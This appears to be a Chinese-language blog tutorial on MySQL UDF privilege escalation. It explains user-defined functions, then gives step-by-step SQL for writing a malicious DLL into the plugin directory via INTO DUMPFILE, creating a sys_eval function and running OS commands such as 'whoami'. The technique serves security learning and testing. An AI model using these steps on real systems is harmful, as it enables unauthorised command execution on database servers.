udf提权是利用mysql的自定义函数功能来加载恶意动态库,进而达到rce的效果。
Mysql 中的自定义函数
udf即user-defined function,是mysql中的一项功能,可以添加用户自定义函数,对MYSQL的功能进行扩充。
mysql中使用create function
语句来添加自定义函数,比如:
1 | mysql> create function my_add(a int, b int) returns int return (a+b); |
可以使用show create function my_add;
来查看创建的函数。
可以从动态库中加载自定义函数,例如:
1 | mysql> create function sys_eval returns string soname 'udf.dll'; |
通过加载动态库的函数可以在mysql.func中查到其函数信息:
1 | mysql> select * from mysql.func; |
在 Mysql >= 5.1版本中,动态库需要在mysql指定的plugin文件夹下,如果该目录不存在,需要自行创建。该文件夹可以通过select @@plugin_dir;
查看,默认是mysql安装目录中的/lib/plugin文件夹。
1 | mysql> select @@plugin_dir; |
要删除自定义的函数,可以使用drop function
语句:
1 | drop function if exists my_add; |
利用UDF来提权
利用条件:
- 可以执行
create function
语句 - 具有plugin目录的写权限,或者有webshell帮助
可以使用msf提供的动态库文件:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
首先确定目标机器的架构位数以及操作系统:
1 | mysql> select @@version_compile_machine; |
确定plugin目录的位置:
1 | mysql> select @@plugin_dir; |
将动态库文件上传到plugin目录中,可以使用其他手段来辅助上传,也可以使用mysql的写文件操作来玩完成:
1 | select 0x.... into dumpfile "D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\udf.dll"; |
之后执行create function
创建函数操作:
1 | create function sys_eval returns string soname 'udf.dll'; |
最后使用函数即可:
1 | select sys_eval("whoami"); |
参考:
https://yiwenshao.github.io/2016/11/20/MySQL的UDF/
https://www.freebuf.com/articles/database/291175.html